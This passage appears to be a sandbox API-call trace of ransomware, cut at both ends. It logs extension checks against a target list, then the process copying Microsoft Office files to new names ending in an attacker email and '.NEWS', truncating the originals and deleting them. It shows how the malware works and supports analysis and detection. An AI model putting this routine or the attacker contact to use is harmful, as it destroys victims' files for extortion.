returned 1 [0072.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0072.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0072.745] lstrlenW (lpString=".doc") returned 4 [0072.745] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.745] lstrlenW (lpString=".docx") returned 5 [0072.745] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.746] lstrlenW (lpString=".pdf") returned 4 [0072.746] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.746] lstrlenW (lpString=".xls") returned 4 [0072.746] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.746] lstrlenW (lpString=".xlsx") returned 5 [0072.746] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.746] lstrlenW (lpString=".ppt") returned 4 [0072.746] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0072.746] lstrlenW (lpString=".zip") returned 4 [0072.746] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.746] lstrlenW (lpString=".rar") returned 4 [0072.746] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.746] lstrlenW (lpString=".bz2") returned 4 [0072.746] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.746] lstrlenW (lpString=".7z") returned 3 [0072.746] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0072.746] lstrlenW (lpString=".dbf") returned 4 [0072.746] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0072.746] lstrlenW (lpString=".1cd") returned 4 [0072.746] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0072.746] lstrlenW (lpString=".jpg") returned 4 [0072.746] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0072.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0072.746] lstrlenW (lpString=".doc") returned 4 [0072.746] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.746] lstrlenW (lpString=".docx") returned 5 [0072.746] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.746] lstrlenW (lpString=".pdf") returned 4 [0072.746] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.746] lstrlenW (lpString=".xls") returned 4 [0072.747] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.747] lstrlenW (lpString=".xlsx") returned 5 [0072.747] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.747] lstrlenW (lpString=".ppt") returned 4 [0072.747] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0072.747] lstrlenW (lpString=".zip") returned 4 [0072.747] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.747] lstrlenW (lpString=".rar") returned 4 [0072.747] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.747] lstrlenW (lpString=".bz2") returned 4 [0072.747] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.747] lstrlenW (lpString=".7z") returned 3 [0072.747] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0072.747] lstrlenW (lpString=".dbf") returned 4 [0072.747] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0072.747] lstrlenW (lpString=".1cd") returned 4 [0072.747] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0072.747] lstrlenW (lpString=".jpg") returned 4 [0072.747] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.747] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0072.747] lstrlenW (lpString="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 53 [0072.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0072.748] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=527958) returned 1 [0072.748] CloseHandle (hObject=0x354) returned 1 [0072.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0072.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0072.748] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.748] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0072.748] GetLastError () returned 0x0 [0072.748] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x80e56, lpOverlapped=0x0) returned 1 [0073.530] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x80e60, lpOverlapped=0x0) returned 1 [0073.539] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.539] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x13e, lpOverlapped=0x0) returned 1 [0073.540] SetEndOfFile (hFile=0x384) returned 1 [0073.540] CloseHandle (hObject=0x384) returned 1 [0073.550] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.550] SetEndOfFile (hFile=0x354) returned 1 [0073.968] CloseHandle (hObject=0x354) returned 1 [0073.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0073.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1 [0073.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0073.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0073.969] lstrlenW (lpString=".doc") returned 4 [0073.969] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.969] lstrlenW (lpString=".docx") returned 5 [0073.969] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0073.969] lstrlenW (lpString=".pdf") returned 4 [0073.969] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.969] lstrlenW (lpString=".xls") returned 4 [0073.969] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.969] lstrlenW (lpString=".xlsx") returned 5 [0073.969] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0073.969] lstrlenW (lpString=".ppt") returned 4 [0073.969] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0073.969] lstrlenW (lpString=".zip") returned 4 [0073.969] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.969] lstrlenW (lpString=".rar") returned 4 [0073.969] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.969] lstrlenW (lpString=".bz2") returned 4 [0073.969] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.969] lstrlenW (lpString=".7z") returned 3 [0073.969] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0073.969] lstrlenW (lpString=".dbf") returned 4 [0073.969] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0073.969] lstrlenW (lpString=".1cd") returned 4 [0073.969] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0073.969] lstrlenW (lpString=".jpg") returned 4 [0073.969] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0073.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0073.970] lstrlenW (lpString=".doc") returned 4 [0073.970] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.970] lstrlenW (lpString=".docx") returned 5 [0073.970] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0073.970] lstrlenW (lpString=".pdf") returned 4 [0073.970] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.970] lstrlenW (lpString=".xls") returned 4 [0073.970] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.970] lstrlenW (lpString=".xlsx") returned 5 [0073.970] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0073.970] lstrlenW (lpString=".ppt") returned 4 [0073.970] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0073.970] lstrlenW (lpString=".zip") returned 4 [0073.970] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.970] lstrlenW (lpString=".rar") returned 4 [0073.970] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.970] lstrlenW (lpString=".bz2") returned 4 [0073.970] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.970] lstrlenW (lpString=".7z") returned 3 [0073.970] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0073.970] lstrlenW (lpString=".dbf") returned 4 [0073.970] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0073.970] lstrlenW (lpString=".1cd") returned 4 [0073.970] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0073.970] lstrlenW (lpString=".jpg") returned 4 [0073.970] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.971] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0073.971] lstrlenW (lpString="AG00103_.GIF") returned 12 [0073.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0073.971] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=12702) returned 1 [0073.971] CloseHandle (hObject=0x354) returned 1 [0073.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 0x220 [0073.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0073.971] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.971] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0073.972] GetLastError () returned 0x0 [0073.972] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x319e, lpOverlapped=0x0) returned 1 [0073.973] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x31a0, lpOverlapped=0x0) returned 1 [0073.974] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.974] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.974] SetEndOfFile (hFile=0x344) returned 1 [0073.975] CloseHandle (hObject=0x344) returned 1 [0073.976] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.976] SetEndOfFile (hFile=0x354) returned 1 [0073.977] CloseHandle (hObject=0x354) returned 1 [0073.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0073.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0073.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0073.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0073.977] lstrlenW (lpString=".doc") returned 4 [0073.977] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.977] lstrlenW (lpString=".docx") returned 5 [0073.978] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.978] lstrlenW (lpString=".pdf") returned 4 [0073.978] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.978] lstrlenW (lpString=".xls") returned 4 [0073.978] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.978] lstrlenW (lpString=".xlsx") returned 5 [0073.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.978] lstrlenW (lpString=".ppt") returned 4 [0073.978] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0073.978] lstrlenW (lpString=".zip") returned 4 [0073.978] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.978] lstrlenW (lpString=".rar") returned 4 [0073.978] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.978] lstrlenW (lpString=".bz2") returned 4 [0073.978] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.978] lstrlenW (lpString=".7z") returned 3 [0073.978] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0073.978] lstrlenW (lpString=".dbf") returned 4 [0073.978] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0073.978] lstrlenW (lpString=".1cd") returned 4 [0073.978] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0073.978] lstrlenW (lpString=".jpg") returned 4 [0073.978] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0073.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0073.978] lstrlenW (lpString=".doc") returned 4 [0073.978] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.978] lstrlenW (lpString=".docx") returned 5 [0073.978] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.978] lstrlenW (lpString=".pdf") returned 4 [0073.979] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.979] lstrlenW (lpString=".xls") returned 4 [0073.979] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.979] lstrlenW (lpString=".xlsx") returned 5 [0073.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.979] lstrlenW (lpString=".ppt") returned 4 [0073.979] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0073.979] lstrlenW (lpString=".zip") returned 4 [0073.979] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.979] lstrlenW (lpString=".rar") returned 4 [0073.979] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.979] lstrlenW (lpString=".bz2") returned 4 [0073.979] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.979] lstrlenW (lpString=".7z") returned 3 [0073.979] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0073.979] lstrlenW (lpString=".dbf") returned 4 [0073.979] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0073.979] lstrlenW (lpString=".1cd") returned 4 [0073.979] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0073.979] lstrlenW (lpString=".jpg") returned 4 [0073.979] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.979] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0073.979] lstrlenW (lpString="AG00120_.GIF") returned 12 [0073.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0073.980] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=3484) returned 1 [0073.980] CloseHandle (hObject=0x354) returned 1 [0073.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220 [0073.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0073.980] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.980] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0073.980] GetLastError () returned 0x0 [0073.980] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xd9c, lpOverlapped=0x0) returned 1 [0073.982] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xda0, lpOverlapped=0x0) returned 1 [0073.983] ReadFile (in: hFile=0x354, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0073.983] WriteFile (in: hFile=0x344, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0073.983] SetEndOfFile (hFile=0x344) returned 1 [0073.983] CloseHandle (hObject=0x344) returned 1 [0073.984] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0073.984] SetEndOfFile (hFile=0x354) returned 1 [0073.985] CloseHandle (hObject=0x354) returned 1 [0073.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 